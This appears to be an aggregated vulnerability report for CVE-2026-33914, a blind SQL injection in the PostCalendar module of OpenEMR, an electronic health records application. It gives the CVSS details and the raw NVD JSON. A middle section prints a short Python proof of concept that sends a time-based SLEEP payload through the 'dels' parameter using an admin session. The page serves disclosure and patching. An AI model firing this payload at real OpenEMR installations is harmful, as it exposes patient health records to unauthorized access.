Security Vulnerability Report
中文
CVE-2026-33914 CVSS 7.2 HIGH

CVE-2026-33914

Published: 2026-03-26 00:16:39
Last Modified: 2026-03-26 18:34:18

Description

OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0.3, the PostCalendar module contains a blind SQL injection vulnerability in the `categoriesUpdate` administrative function. The `dels` POST parameter is read via `pnVarCleanFromInput()`, which only strips HTML tags and performs no SQL escaping. The value is then interpolated directly into a raw SQL `DELETE` statement that is executed unsanitized via Doctrine DBAL's `executeStatement()`. Version 8.0.0.3 patches the issue.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEMR < 8.0.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-33914 PoC Concept # Target URL example url = "http://target/openemr/interface/main/calendar/modules/PostCalendar/admin/index.php" # Admin privileges are required (PR:H) cookies = {'OpenEMR': 'valid_admin_session_id'} # Vulnerable parameter: 'dels' # Function: categoriesUpdate # Payload example for time-based blind SQLi payload = "1' AND (SELECT SLEEP(5))-- -" data = { "action": "categoriesUpdate", "dels": payload } try: response = requests.post(url, data=data, cookies=cookies, timeout=10) # Check response time to confirm blind injection print(f"Status Code: {response.status_code}") except requests.RequestException as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33914", "sourceIdentifier": "[email protected]", "published": "2026-03-26T00:16:39.137", "lastModified": "2026-03-26T18:34:17.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0.3, the PostCalendar module contains a blind SQL injection vulnerability in the `categoriesUpdate` administrative function. The `dels` POST parameter is read via `pnVarCleanFromInput()`, which only strips HTML tags and performs no SQL escaping. The value is then interpolated directly into a raw SQL `DELETE` statement that is executed unsanitized via Doctrine DBAL's `executeStatement()`. Version 8.0.0.3 patches the issue."}, {"lang": "es", "value": "OpenEMR es una aplicación de gestión de registros de salud electrónicos y práctica médica gratuita y de código abierto. Antes de la versión 8.0.0.3, el módulo PostCalendar contiene una vulnerabilidad de inyección SQL ciega en la función administrativa 'categoriesUpdate'. El parámetro POST 'dels' se lee a través de 'pnVarCleanFromInput()', que solo elimina etiquetas HTML y no realiza ningún escape SQL. El valor se interpola directamente en una sentencia SQL 'DELETE' sin procesar que se ejecuta sin sanitizar a través de 'executeStatement()' de Doctrine DBAL. La versión 8.0.0.3 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.3", "matchCriteriaId": "E3E098AF-42A1-4798-85A7-80052F19F809"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/1b851fc9af84f181ad7a84210a168d0d568cd442", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-rq3v-38x5-3rm5", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}